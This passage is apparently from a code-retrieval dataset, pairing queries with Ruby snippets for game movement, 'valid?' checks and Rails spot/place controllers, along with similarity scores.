ToyEnums::WEST\n @position_x -=1\n else\n\n end\n end", "def winning_move\n simulate_move(@player_num)\n end", "def move_down\r\n if @y + @vel_y < SCREEN_HEIGHT - GAME_PRESET[\"player_move_down\"]\r\n @y += @vel_y\r\n end\r\n end", "def moves\n @moves\n end", "def move_up\r\n if @y + @vel_y > GAME_PRESET[\"player_move_up\"]\r\n @y -= @vel_y\r\n end\r\n end", "def moving?; @moving; end", "def moving?; @moving; end", "def move\n case @direction\n when \"N\"\n @y_coord += 1\n when \"S\"\n @y_coord -= 1\n when \"W\"\n @x_coord += 1\n when \"E\"\n @x_coord -= 1\n end\n end", "def move(dir)\n return case (player.restriction == 3 ? 10 - dir : dir)\n when 1 then player.move_lower_left\n when 2 then player.move_down\n when 3 then player.move_lower_right\n when 4 then player.move_left\n when 6 then player.move_right\n when 7 then player.move_upper_left\n when 8 then player.move_up\n when 9 then player.move_upper_right\n end\n end", "def motion (direction)\n unit = (direction == :forward) ? 1 : -1;\n new_x, new_y = @x, @y\n case @heading\n when 'N'\n new_y = bound_y(@y + unit)\n when 'E'\n new_x = bound_x(@x + unit)\n when 'S'\n new_y = bound_y(@y - unit)\n when 'W'\n new_x = bound_x(@x - unit)\n end\n if @world.obstacle?(new_x, new_y)\n raise \"Obstacle found at x:#{new_x} y:#{new_y}\"\n else\n @x, @y = new_x, new_y\n end\n end", "def move\r\n # Move bullet fired by the Spaceship up the screen \r\n if @type == 'good'\r\n @y -= @SPEED\r\n # Move bullet fired by the Aliens down the screen \r\n elsif @type == 'evil'\r\n @y += @SPEED\r\n end\r\n end", "def move_up\n\t\tunless @y_player <= 0\n\t\t\t@y_player -= 4\n\t\tend\n\tend", "def side_moving\n return @piece_moving.side if @piece_moving\n end", "def update_two_player\n # if moving up\n if Input.press?(Input::SHIFT)\n self.y -= 4 unless self.y <= 0\n end\n # if moving down\n if Input.press?(Input::CTRL)\n self.y += 4 unless self.ey >= 480\n end\n end", "def move?\n @moving\n end", "def change_direction_at(player)\n\t$ball.x_speed_reverse\n\n\tif $ball.center[:y] <= player.top\n\t\tif $ball.y_speed > 0 then $ball.y_speed_reverse()\n\t\telse $ball.y_speed_change(-2) end\n\n\telsif $ball.center[:y] <= player.parts[:top]\n\t\t$ball.y_speed_change(-1)\n\n\telsif $ball.center[:y] >= player.parts[:bottom]\n\t\t$ball.y_speed_change(1)\n\n\telsif $ball.center[:y] >= player.bottom\n\t\tif $ball.y_speed < 0 then $ball.y_speed_reverse\n\t\telse $ball.y_speed_change(2) end\n\n\tend\n\nend", "def move(direction)\n \n end", "def get_good_move\n loop do\n\t\t @player_move = self.get_player_move\n break if @current_state[@player_move].nil?\n puts \"That position is taken. Try another.\"\n end\n @player_move\n end", "def find_distance(player, pos)\n player == 1 ? pos : BOARD_LENGTH - pos\nend", "def move_left \r\n if @x - @vel_x > GAME_PRESET[\"player_move_left\"]\r\n @x -= @vel_x\r\n end\r\n end", "def move # takes (x, y, direction) from Rover\n\t\tif direction == \"N\"\n\t\t\t@y += 1\n\t\telsif direction == \"W\"\n\t\t\t@x -= 1\n\t\telsif direction == \"S\"\n\t\t\t@y -= 1\n\t\telsif direction == \"E\"\n\t\t\t@x += 1\n\t\telse \n\t\t\treturn \"The input direction enterned is wrong\"\n\t\tend\n\tend", "def real_move_speed\r\n @move_speed + (dash? ? 1 : 0)\r\n end", "def get_turn\n @pos, @action = @player.prompt\n end", "def move\n \n end", "def move\n \n end", "def move(args)\n return if !@is_robot_availabe\n case @direction\n when \"NORTH\"\n if @pos_y + STEP <= TABLE_Y\n @pos_y += STEP\n return\n end\n \n when \"EAST\"\n if @pos_x + STEP <= TABLE_X\n @pos_x += STEP\n return\n end\n \n when \"SOUTH\"\n if @pos_y - STEP >= 0\n @pos_y -= STEP\n return\n end\n \n when \"WEST\"\n if @pos_x - STEP >= 0\n @pos_x -= STEP\n return\n end\n \n end\n puts \"Warning: Robot cannot move towards #{@direction} anymore. \"\n # return \"MOVE\" #for test\n end", "def move?\n return @moving\n end", "def move\n\n end", "def update_move\n self.x = screen_x\n self.y = screen_y\n update_move_arch if @type == Arched\n end", "def moves\n # overridden in slideable/stepable modules\n end", "def move_for_keypress\n # Generated once for each keypress\n until @pressed_buttons.empty?\n move = player.move_for_keypress(@pressed_buttons.shift)\n return move if move\n end\n\n # Continuously-generated when key held down\n player.moves_for_key_held.each do |key, move|\n return move if button_down?(key)\n end\n\n nil\n end", "def move_toward_player\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n return if sx == 0 && sy == 0\n\n abs_sx = sx.abs\n abs_sy = sy.abs\n if abs_sx == abs_sy\n rand(2) == 0 ? abs_sx += 1 : abs_sy += 1\n end\n\n if abs_sx > abs_sy\n sx > 0 ? move_left : move_right\n unless moving? || sy == 0\n sy > 0 ? move_up : move_down\n end\n else\n sy > 0 ? move_up : move_down\n unless moving? || sx == 0\n sx > 0 ? move_left : move_right\n end\n end\n end", "def move\n move_by get_incremental_position_for_velocity if (any_velocity?)\n decrease_velocity\n @has_increased_velocity_for = {\n x: false,\n y: false\n }\n @velocity_deltatime.update\n end", "def update_move\n return unless @moving\n movinc = @move_speed == 0 ? 1 : @move_speed\n if Graphics.frame_count - @move_old > @move_delay or @move_speed != 0\n self.x += movinc if self.x < @destx\n self.x -= movinc if self.x > @destx\n self.y += movinc if self.y < @desty\n self.y -= movinc if self.y > @desty\n @move_old = Graphics.frame_count\n end\n if @move_speed > 1 # Check if sprite can't reach that point\n self.x = @destx if (@destx - self.x).abs % @move_speed != 0 and\n (@destx - self.x).abs <= @move_speed\n self.y = @desty if (@desty - self.y).abs % @move_speed != 0 and\n (@desty - self.y).abs <= @move_speed\n end\n if self.x == @destx and self.y == @desty\n @moving = false\n end\nend", "def walk_toward_player_for(ms)\n behavior = MovementBehavior.create do\n if game_state.player.x > self.x\n move_right\n else\n move_left\n end\n end\n if @recording_behavior == :noticed\n behavior.at_end { stop_moving if not movement_states.include? :noticed }\n else\n behavior.at_end { stop_moving }\n end\n behavior.completed_after(ms)\n record_behavior(behavior)\n end", "def move\n #we're modifying the ship's coordinates based on the velocity calculated in the accelerate method (which is called when we hit 'Up')\n @x += @velocity_x\n @y += @velocity_y\n #we use these to slow down the speed, acting like a friction\n #calculates the rate of acceleration \n @velocity_x *= FRICTION\n @velocity_y *= FRICTION\n # we add conditionals to delimt the edge of the window\n if @x > @window.width - @radius\n @velocity_x = 0\n @x = @window.width - @radius \n end\n if @x < @radius\n @velocity_x = 0\n @x = @radius\n end\n if @y > @window.height - @radius\n @velocity_y = 0\n @y = @window.height - @radius\n end\n end", "def update\n\t\tif @player_moved\n\t\t\t@prawn.swimming = true\n\t\telse\n\t\t\tdrift \n\t\t\t@prawn.swimming = false\n\t\tend\n\n\t\tif !@moved_y_axis && !is_plane\n\t\t\tstabilise\n\t\t\t@has_moved = true\n\t\tend\n\n\t\tcheck_bounds\n\n\t\t@prawn.update\n\t\t@player_moved = @moved_y_axis = false\n\tend", "def lead_player \n l1 = left(@on_move)\n if @played[l1] == nil \n return nil #\n end \n end", "def move\n\t\t# move 5px to the left\n\t @x = @x - 5\n\t # move up or down based on the Y velocity\n\t @y = @y + @vy\n\tend", "def next_x\n if state.dx < 0 # if the player moves left\n return state.x - (state.tile_size - state.player_width) # subtracts since the change in x is negative (player is moving left)\n else\n return state.x + (state.tile_size - state.player_width) # adds since the change in x is positive (player is moving right)\n end\n end", "def get_time_pos \n send_cmd(\"get_time_pos\")\n end", "def get_move\n print \"Your move, #{@name}\\n\"\n from = select\n to = select\n [from,to]\n end", "def get_next_move\n\t\t\t\tif player_to_act.respond_to?(:get_move)\n\t\t\t\t\t# get the move, write it to the server and continue reading the gamestate\n\t\t\t\t\tmove = nil\n\t\t\t\t\tloop do\n\t\t\t\t\t\tmove = player_to_act.get_move\n\t\t\t\t\t\tbreak if move\n\t\t\t\t\t\t# in case player doesn't have enough info to move, try reading matchstate\n\t\t\t\t\t\tread_acpc_matchstate\n\t\t\t\t\tend\n\t\t\t\t\tsocket_put(action_str(move))\n\t\t\t\tend\n\t\t\t\treturn read_next_move\n\t\t\tend", "def next_move(bot_pos_x, bot_pos_y, princess_position)\n case\n when princess_position[0] - bot_pos_x < 0 then move = 'UP'\n when princess_position[0] - bot_pos_x > 0 then move = 'DOWN'\n when princess_position[1] - bot_pos_y < 0 then move = 'LEFT'\n when princess_position[1] - bot_pos_y > 0 then move = 'RIGHT'\n end\n move\nend", "def moves\n forward_steps + side_attacks\n end", "def move\n request_animation_frame { move } if @mouse_is_down\n return if !@position || !@started\n trigger 'move', @position\n end", "def moves\n [player_one_move, player_two_move].compact\n end", "def player\n\t\t@current_player\n\tend", "def move\n if $window.button_down?(Gosu::KbD)\n @facing = :right\n @x += speed unless out_of_bounds?(@x + speed, @y)\n end\n \n if $window.button_down?(Gosu::KbA)\n @facing = :left\n @x -= speed unless out_of_bounds?(@x - speed, @y)\n end\n \n if $window.button_down?(Gosu::KbW)\n @facing = :up\n @y -= speed unless out_of_bounds?(@x, @y - speed)\n end\n \n if $window.button_down?(Gosu::KbS)\n @facing = :down\n @y += speed unless out_of_bounds?(@x, @y + speed)\n end\n \n sprinting?\n end", "def move_away_from_player\n # Get difference in player coordinates\n sx = @x - $player.x\n sy = @y - $player.y\n # If coordinates are equal\n if sx == 0 and sy == 0\n return\n end\n # Get absolute value of difference\n abs_sx = sx.abs\n abs_sy = sy.abs\n # If horizontal and vertical distances are equal\n if abs_sx == abs_sy\n # Increase one of them randomly by 1\n rand(2) == 0 ? abs_sx += 1 : abs_sy += 1\n end\n # If horizontal distance is longer\n if abs_sx > abs_sy\n # Move away from player, prioritize left and right directions\n sx > 0 ? move_right : move_left\n if not moving? and sy != 0\n sy > 0 ? move_down : move_up\n end\n # If vertical distance is longer\n else\n # Move away from player, prioritize up and down directions\n sy > 0 ? move_down : move_up\n if not moving? and sx != 0\n sx > 0 ? move_right : move_left\n end\n end\n end", "def direction(dest_x,dest_y,start_x,start_y)\n \n if @battler.is_a?(Game_Actor)\n if @move_speed == 10\n return (Math.atan2((start_y - dest_y), (start_x - dest_x))+360) % 360\n else\n return (Math.atan2((dest_y - start_y), (dest_x - start_x))+360) % 360\n end\n else\n if @move_speed == 20\n return (Math.atan2((start_y - dest_y), (start_x - dest_x))+360) % 360\n else\n return (Math.atan2((dest_y - start_y), (dest_x - start_x))+360) % 360\n end\n end\n \n end", "def moves\n forward_steps + side_attacks\n end", "def update_move\n if !@ch.moving? && @moves.size > 0\n @moves.shift if proccess_move(@moves[0])\n end\n end", "def distance_per_frame\r\n 2 ** real_move_speed / 256.0\r\n end", "def cursor\n return $game_player\n end", "def cursor\n return $game_player\n end", "def update_move\n return unless @moving\n \n grad = direction(@destx,@desty,self.x,self.y)\n \n if Graphics.frame_count - @move_old > @move_delay or @move_speed != 0\n self.x += Math.cos(grad).abs * @move_speed if self.x < @destx\n self.y += Math.sin(grad).abs * @move_speed if self.y < @desty\n self.x -= Math.cos(grad).abs * @move_speed if self.x > @destx\n self.y -= Math.sin(grad).abs * @move_speed if self.y > @desty\n \n @move_old = Graphics.frame_count\n end\n if @move_speed > 0 # Check if sprite can't reach that point\n self.x = @destx if (@destx - self.x).abs % @move_speed != 0 and\n (@destx - self.x).abs <= @move_speed\n self.y = @desty if (@desty - self.y).abs % @move_speed != 0 and\n (@desty - self.y).abs <= @move_speed\n end\n if self.x == @destx and self.y == @desty\n @moving = false\n end\n end", "def last_move\n @last_move\n end", "def position(player_input)\n cells[move_to_index(player_input)]\n end", "def get_move\n\t\tif(row_winning_move)\n\t\t\treturn row_winning_move\n\t\tend\n\t\tif(column_winning_move)\n\t\t\treturn column_winning_move\n\t\tend\n\t\tif(left_diag_winning_move)\n\t\t\treturn left_diag_winning_move\n\t\tend\n\t\tif(right_diag_winning_move)\n\t\t\treturn right_diag_winning_move\n\t\tend\n\n\t\t[rand(3), rand(3)]\n\tend", "def get_move(user_move = gets.chomp)\n human_move_to_coord(user_move)\n end", "def real_move_speed\r\r\n return @move_speed + (dash? ? 1 + ($game_variables[11]/100) + @dash_speed_bonus : 0)\r\r\n end", "def update\r\n\r\n # Left-Arrow button pressed\r\n if $window.button_down?(Gosu::KbLeft) then\r\n\r\n # Sanity check, make sure this can grab the needed tile\r\n if ![1,2].include?(get_tile_info(@player.get_x,\r\n @player.get_y,\r\n :left)) then\r\n\r\n # Call the move_left function\r\n @player.move_left\r\n\r\n end\r\n end\r\n\r\n # Right-Arrow button pressed\r\n if $window.button_down?(Gosu::KbRight) then\r\n\r\n # Sanity check, make sure this can grab the needed tile\r\n if ![1,2].include?(get_tile_info(@player.get_x,\r\n @player.get_y,\r\n :right)) then\r\n\r\n # Call the move_right function\r\n @player.move_right\r\n\r\n end \r\n end\r\n\r\n # Update the player object\r\n @player.update\r\n\r\n # Functionalize the list of entities\r\n @entities.each{|en| \r\n en.update\r\n\r\n # Compare the player coords with the entity coords, in the event\r\n # the player has reached an item / entity location\r\n dist = Gosu::distance(@player.get_x,\r\n @player.get_y(:center),\r\n en.get_x,\r\n en.get_y)\r\n\r\n # Player closely approaches an entity...\r\n if dist < 20 then\r\n\r\n # get_score() returns a -1 in the event of invulnerability\r\n if en.get_score < 0 then\r\n @player.invulnerable\r\n @entities.delete(en)\r\n\r\n # Otherwise add this to the score and remove the item from\r\n # the map\r\n else\r\n @score += en.get_score\r\n @entities.delete(en)\r\n end\r\n end\r\n }\r\n\r\n # Handle the player falling when the down sprite is being used\r\n if [0,2,4].include?(get_tile_info(@player.get_x, @player.get_y,:down)) then\r\n\r\n # Call the fall() routine\r\n @player.fall \r\n\r\n # Handle the player respawn event\r\n if get_tile_info(@player.get_x, @player.get_y,:down) == 4 then\r\n @player.respawn\r\n end\r\n\r\n # Otherwise the the acceleration back to 0, since the player has\r\n # safely hit the ground\r\n else\r\n @player.reset_acceleration\r\n end\r\n\r\n # While jumping, move the player upwards\r\n while ![0,2].include?(get_tile_info(@player.get_x,\r\n @player.get_y - 1,\r\n :down)) do\r\n\r\n # Call the move_up() function\r\n @player.move_up\r\n end\r\n\r\n # Check if the player is current jumping\r\n if @player.is_jumping? then\r\n\r\n # Determine if the up sprite is being used\r\n if get_tile_info(@player.get_x, @player.get_y,:up) != 0 then\r\n\r\n # In which case, reset the jump event, since it has\r\n # already occurred\r\n @player.reset_jump\r\n end\r\n end\r\n\r\n # Check if the player is \"down and facing right\"\r\n if get_tile_info(@player.get_x, @player.get_y,:down) == 5 then\r\n @player.slide_left\r\n\r\n # Check if the player is \"down and facing left\"\r\n elsif get_tile_info(@player.get_x, @player.get_y,:down) == 6 then\r\n @player.slide_right\r\n end\r\n\r\n # Check if the player is inside of a hidden location\r\n if in_hidden_entrance then\r\n\r\n # Initialize the hidden tiles array\r\n @hidden_tiles = []\r\n\r\n # Cycle thru the y coords ...\r\n for y in 0...@level[1].size\r\n\r\n # ... and the x coords\r\n for x in 0...@level[1][y].size\r\n\r\n # Set the current X / Y coords\r\n curx = (x * 16) + 8\r\n cury = (y * 16) + 8\r\n\r\n # Determine the distance between the player and the\r\n # current location\r\n dist = Gosu::distance(@player.get_x,\r\n @player.get_y(:center),\r\n curx,\r\n cury)\r\n\r\n # Append the current location to the hidden tiles array\r\n if dist < 32 then\r\n @hidden_tiles << [x,y]\r\n end\r\n end\r\n end\r\n\r\n # Empty the hidden tiles array since the player is not in a hidden\r\n # location\r\n else\r\n @hidden_tiles = []\r\n end\r\n\r\n # Set the camera coords\r\n @camera_x = [[@player.get_x - 320, 0].max,\r\n @level[0][0].size * 16 - 640].min\r\n\r\n @camera_y = [[@player.get_y - 240, 0].max,\r\n @level[0].size * 16 - 480].min\r\n end", "def update_control\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # reset move speed\n player.move_speed = player.normal_speed\n # reset spriteset name\n player.character_name = player.character_name_org\n # if allowed to change speed\n unless $game_system.map_interpreter.running? ||\n player.move_route_forcing || $game_temp.message_window_showing\n # if run button works and running\n if $game_system.running_button && Input.press?(Input::Run)\n # set running speed\n player.move_speed = Config::RUN_SPEED\n # if sneak button works and sneaking\n elsif $game_system.sneaking_button && Input.press?(Input::Sneak) ||\n Config::SNEAK_SPEED > 0 && Config::SNEAK_ON_CHARGE && player.charging?\n # set sneaking speed\n player.move_speed = Config::SNEAK_SPEED\n end\n end\n # if battler exists and either dead or select triggered\n if player.battler != nil && ($game_system.select_button &&\n Input.trigger?(Input::Select) || player.battler.dead?)\n # switch to next valid actor\n switch_leader\n end \n # setup sprite animation\n player.sprite_animation_setup\n # update action\n player.update_action\n # if allowed to turn and pressed turning button or defending\n if ((player.ai.act.defend? && player.attacked == 0) ||\n $game_system.turn_button && Input.press?(Input::Turn)) &&\n !player.moving? && !$game_system.map_interpreter.running? &&\n !player.move_route_forcing && !$game_temp.message_window_showing\n # get input depending on confusion\n input = (player.restriction == 3 ? 10 - Input.dir4 : Input.dir4)\n # depending on input turn\n case input\n when 2 then player.turn_down\n when 4 then player.turn_left\n when 6 then player.turn_right\n when 8 then player.turn_up\n end\n # updates any attacked action\n player.update_attacked\n # abort method\n return nil\n end\n # updates any attacked action\n player.update_attacked\n # if acting\n if player.in_action > 0\n # decrease action counter if in_action is greater than 0\n player.in_action -= 1 if player.in_action > 0\n # return data\n return [player.moving?, player.real_x, player.real_y]\n end\n # if allowed to move\n unless $game_system.map_interpreter.running? ||\n player.move_route_forcing || $game_temp.message_window_showing\n # if jump button was pressed and not already jumping\n if $game_system.jumping_button && Input.trigger?(Input::Jump) &&\n !player.jumping? && player.restriction < 4\n # set to jump\n @memory_jump = true\n end\n # if not moving\n unless player.moving?\n # get jumping range\n range = Config::JUMPING\n # if jumping turned on and not jumping and jumped\n if range > 0 && !player.jumping? && @memory_jump\n # if sneaking or running is possible\n if Config::RUN_SPEED > 0 || Config::SNEAK_SPEED > 0\n # get difference between current speed and normal speed\n dplus = player.move_speed - player.normal_speed\n else\n # difference is 0\n dplus = 0\n end\n # get direction\n direction = $game_system._8_way ? Input.dir8 : Input.dir4\n # set jumping direction\n x, y = Cache::DirOffsets[direction]\n # jump into direction with considering running/sneaking\n player.jump(x*range + x*dplus, y*range + y*dplus, direction)\n # if not already jumping\n elsif !player.jumping?\n # move\n move($game_system._8_way ? Input.dir8 : Input.dir4)\n # allow idle if no movement\n player.idle_allowed = !player.moving?\n end\n # not jumping anymore\n @memory_jump = false\n end\n end\n # return data\n return [player.moving?, player.real_x, player.real_y]\n end", "def move\n case @direction\n when \"N\"\n @coord_y += 1\n when \"S\"\n @coord_y -= 1\n when \"E\"\n @coord_x += 1\n else\n @coord_x -= 1\n end #end of case\nend" ]
[ "0.7300525", "0.7108719", "0.70933926", "0.69621915", "0.69532776", "0.6928365", "0.6856961", "0.68043154", "0.6804129", "0.6777395", "0.6715853", "0.6714387", "0.67005616", "0.6673488", "0.66504997", "0.6598883", "0.65834767", "0.6544281", "0.6533309", "0.6518426", "0.65123725", "0.647916", "0.64628273", "0.6457594", "0.64503735", "0.6414597", "0.64111334", "0.6391192", "0.6367515", "0.6356949", "0.6347694", "0.6323405", "0.6321812", "0.6316062", "0.63076305", "0.6303262", "0.62932557", "0.628902", "0.6265267", "0.6256513", "0.62484825", "0.62396413", "0.62396413", "0.6237947", "0.6221925", "0.62005156", "0.6198541", "0.61789125", "0.61748695", "0.61710596", "0.61626816", "0.61579865", "0.6155271", "0.6146637", "0.6139554", "0.61329275", "0.61281604", "0.612531", "0.61087185", "0.6105672", "0.6105672", "0.6099217", "0.6096277", "0.6095968", "0.60790884", "0.60719997", "0.6050601", "0.6050103", "0.60473216", "0.6045252", "0.60441", "0.6037946", "0.6032838", "0.60235816", "0.6023075", "0.6020419", "0.6013273", "0.6010673", "0.6010547", "0.6006847", "0.60001135", "0.5979872", "0.59788847", "0.5974211", "0.5968463", "0.59679306", "0.596763", "0.59627473", "0.5951494", "0.5941949", "0.5939563", "0.5939563", "0.5927087", "0.5925439", "0.5924485", "0.5924284", "0.59226364", "0.59185576", "0.5918238", "0.59181535", "0.5915423" ]
0.0
-1
Boolean method returning the bool value indicating whether the given selected figure is valid
def valid_selection?(pos) piece = @display.board[pos] piece.color == @color end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def valid?\n validate_triangle\n true\n end", "def valid?\n validate!\n true\n rescue MiniMagick::Invalid\n false\n end", "def valid?\n return false if @max_cfvo.nil?\n return false if @max_color.nil?\n return false if @mid_cfvo.nil?\n return false if @mid_color.nil?\n return false if @min_cfvo.nil?\n return false if @min_color.nil?\n return true\n end", "def valid?\n result = true\n\n selected.each do |view|\n view.rmq_data.validations.each do |validation|\n\n has_events = view.rmq_data.events\n\n if validation.valid?(rmq(view).data)\n if has_events && view.rmq_data.events.has_event?(:valid)\n view.rmq_data.events[:valid].fire!\n end\n else\n if has_events && view.rmq_data.events.has_event?(:invalid)\n view.rmq_data.events[:invalid].fire!\n end\n result = false\n end\n end\n end\n return result\n end", "def is_valid?\n return is_closed? && (@polygon_points.length >= 3)\n end", "def is_valid?\n return is_closed? && (@polygon_points.length >= 3)\n end", "def valid?\n return false if @data_source.nil?\n return false if @measure.nil?\n return false if @slo_id.nil?\n true\n end", "def valid?\n @x.is_a?(Integer) &&\n @y.is_a?(Integer) &&\n orientation_set?\n end", "def valid?\n test_bounds(x, @xmin, @xmax) && test_bounds(y, @ymin, @ymax)\n end", "def valid_selection?\n @selections.include?(@input)\n end", "def valid?\n return false unless @_valid\n view.components.each do |comp|\n return false unless comp.valid?\n end\n true\n end", "def valid?\n !invalid?\n end", "def valid?\n @points.count > 3 && @points.first == @points.last\n end", "def valid?\n valid == true\n end", "def valid?\n if @variable.nil? || @chart_variable.nil? || @values_unique == []\n false\n elsif @variable.type == \"choices\" && @variable.domain.options == []\n false\n elsif @chart_variable.type == \"choices\" && @chart_variable.domain.options == []\n false\n else\n true\n end\n end", "def valid?\n return false if @height.nil?\n return false if @height < 0\n return false if @width.nil?\n return false if @width < 0\n return false if @x.nil?\n return false if @x < 0\n return false if @y.nil?\n return false if @y < 0\n true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n @errors = []\n\n unless @curve.is_a?(Array)\n add_error(:not_a_curve)\n return false\n end\n\n if @curve.first.is_a?(Array)\n add_error(:too_many_columns)\n return false\n end\n\n add_error(:wrong_length) if @curve.length != 8760\n add_error(:illegal_value) if @curve.any? { |value| !value.is_a?(Numeric) }\n\n @errors.none?\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end" ]
[ "0.6817812", "0.6729485", "0.67261195", "0.6648905", "0.6643566", "0.6643566", "0.6642276", "0.6618414", "0.6617961", "0.6614916", "0.6598242", "0.65575814", "0.653537", "0.6522483", "0.6519528", "0.64812696", "0.64669794", "0.64669794", "0.64669794", "0.64669794", "0.64669794", "0.64467365", "0.64395857", "0.64395857", "0.64395857", "0.64395857", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.64352286", "0.6408982", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763", "0.6407763" ]
0.0
-1
GET /spots GET /spots.xml
def index if params[:keyword] @spots = Spot.find(:all, :conditions => ["name like ?", "%#{params[:keyword]}%"]) else @spots = Spot.find(:all) end respond_to do |format| format.html # index.html.erb format.xml { render :xml => @spots } format.json { render :json => @spots.to_json(:only => [:name, :latitude, :longitude, :visits_count])} end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @spots = Spot.find(:all) \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n end\n end", "def show\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot }\n end\n end", "def show\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot }\n end\n end", "def index\n @spots = Spot.all\n end", "def index\n @spots = Spot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def index\n @spots = Spot.visible.order('id desc').page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def get_listings_xml(url)\n @client.get_content(url)\n end", "def index\n json_response(Spot.all)\n end", "def show\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spot }\n end\n end", "def google_places\n @client = GooglePlaces::Client.new(ENV['GOOGLE_API_KEY'])\n @results = @client.spots(params[:latitude], params[:longitude], :name => 'bar', :types => ['bar', 'night_club'], :radius => 10000)\n @spots = @results.map do |spot|\n spot.place_id = spot.id\n spot\n end\n render json: @spots\n end", "def spot\n if Api::V1::Spot.exists?(params[:id])\n spot = Api::V1::Spot.find(params[:id])\n render json: {\n status: 200,\n message: \"OK\",\n spot: Api::V1::SpotSerializer.new(spot), \n }\n else\n render json: {\n status: 404,\n message: \"Det finns ingen birdspot med det id:t.\"\n }\n end\n end", "def index\n @client.spots(-33.8670522, 151.1957362, :types => 'restaurant')\n @users = User.all\n end", "def index\n @spots = Spot.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page =>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def show\n @spot_activity = SpotActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot_activity }\n end\n end", "def index\n @spotlights = Spotlight.all\n end", "def current_spots\n\n if current_spots_params[:filter] && current_spots_params[:filter][:location]\n location = RGeo::GeoJSON.decode(current_spots_params[:filter][:location])\n end\n # assign default location (LA City Hall) if one couldn't be deciphered from the params.\n location ||= LA_LOCATION\n\n limit = current_spots_params[:limit] || 20\n\n @spots = Spot.current.near(location).limit(limit).includes(:guesses, :user, :game)\n\n respond_to do |format|\n format.json\n end\n end", "def show\n @parking_spot = ParkingSpot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @parking_spot }\n end\n end", "def index\n if params[:q].blank?\n @spots = Spot.all\n else\n @spots = Spot.where('name LIKE ?', \"%#{params[:q]}%\")\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n format.js\n end\n end", "def index\n @dive_spots = DiveSpot.all\n end", "def index\n @places = Place.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @places }\n end\n end", "def index\n @places = Place.lookfor(params[:q])\n @places = @places.map{|p| {:tag=>p.tag,:id=>p.id,:name=>p.name}}\n respond_to do |format|\n format.xml { render :xml => @places }\n end\n end", "def index\n @marketplaces = Marketplace.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @marketplaces }\n end\n end", "def show\n @spot = Spot.visible.find(params[:id])\n @json = [@spot].to_gmaps4rails\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spot }\n end\n end", "def show\n @listings = 